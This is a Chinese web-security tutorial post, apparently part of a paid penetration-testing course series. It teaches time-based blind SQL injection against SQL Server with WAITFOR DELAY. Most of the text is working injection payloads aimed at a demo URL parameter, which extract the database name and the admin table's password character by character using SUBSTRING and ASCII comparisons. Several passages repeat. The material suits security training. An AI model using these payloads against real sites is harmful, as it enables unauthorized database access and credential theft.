1. 首页
  2. 渗透测试

【原创】WEB安全第四章 SQL注入篇22 sqlserver延时注入

【推荐学习】暗月渗透测试培训 十多年渗透经验,体系化培训渗透测试 、高效学习渗透测试,欢迎添加微信好友aptimeok 咨询。

WEB安全第四章 SQL注入篇 sqlserver延时注入

1.简介
WAITFOR是SQLServer中Transact-SQL提供的一个流程控制语句。它的作用就是等待特定时
间,然后继续执行后续的语句。它包含一个参数DELAY,用来指定等待的时间。
waitfor delay ‘0:0:5’ 等待5秒再执行操作 ,页面将5秒之后返回
select 1 waitfor delay ‘0:0:5’

2.判断注入
http://www.demo1.com/index.aspx?id=1 waitfor delay ‘0:0:5’
页面延时5秒返回
SUBSTRING 截取字符串
3.查询信息
数据库版本 (select @@version)
数据库名 (select db_name())
获取密码 (select password from admin)

4.截取字符判断法
DB_NAME() mydb
SUBSTRING 从第一位开始取一位
select SUBSTRING(DB_NAME(),1,1)
if m=m
select * from art where id=1 if(SUBSTRING(DB_NAME(),1,1)=CHAR(109)) waitfor delay '0:0:5'
select * from art where id=1 if(SUBSTRING(DB_NAME(),1,1)='m') waitfor delay '0:0:5'

http://www.demo1.com/index.aspx?id=1 if(SUBSTRING(DB_NAME(),1,1)=CHAR(109)) waitfor delay '0:0:5'

【原创】WEB安全第四章 SQL注入篇22 sqlserver延时注入

http://www.demo1.com/index.aspx?id=1 if(SUBSTRING(DB_NAME(),1,1)='m') waitfor delay '0:0:5'

5. ascii码半截法
ascii 把字符转成ascii码

select * from art where id=1 IF ASCII(SUBSTRING(DB_NAME(),1,1))=109 WAITFOR DELAY '0:0:5'
http://www.demo1.com/index.aspx?id=1 IF ASCII(SUBSTRING(DB_NAME(),1,1))=109 WAITFOR DELAY '0:0:5' --

select * from art where id=1 IF ASCII(SUBSTRING(DB_NAME(),1,1))>30 WAITFOR DELAY '0:0:5'
http://www.demo1.com/index.aspx?id=1 IF ASCII(SUBSTRING(DB_NAME(),1,1))>30 WAITFOR DELAY '0:0:5'--

【原创】WEB安全第四章 SQL注入篇22 sqlserver延时注入


1-126 遍历去对比要好一些 假如数据大的话就可以节省很多的时间。
0-126 共127个
大于50 51-127 74 127-74
查询password 的第一个密文的ascii码
select * from art where id=1 IF ASCII(SUBSTRING((select password from admin),1,1))=101 WAITFOR DELAY '0:0:5'
http://www.demo1.com/index.aspx?id=1 IF ASCII(SUBSTRING((select password from admin),1,1))=101 WAITFOR DELAY '0:0:5'

select * from art where id=1 IF ASCII(SUBSTRING(DB_NAME(),1,1))>30 WAITFOR DELAY '0:0:5'

http://www.demo1.com/index.aspx?id=1 IF ASCII(SUBSTRING(DB_NAME(),1,1))>30 WAITFOR DELAY '0:0:5'--

1-126 遍历去对比要好一些 假如数据大的话就可以节省很多的时间。

0-126 共127个

大于50  51-127 74 127-74

查询password 的第一个密文的ascii码

select * from art where id=1 IF ASCII(SUBSTRING((select password from admin),1,1))=101 WAITFOR DELAY '0:0:5'

http://www.demo1.com/index.aspx?id=1 IF ASCII(SUBSTRING((select password from admin),1,1))=101 WAITFOR DELAY '0:0:5'

原创文章,作者:mOon,如若转载,请注明出处:https://www.moonsec.com/21.html

联系我们

400-800-8888

在线咨询:点击这里给我发消息

邮件:admin@example.com

工作时间:周一至周五,9:30-18:30,节假日休息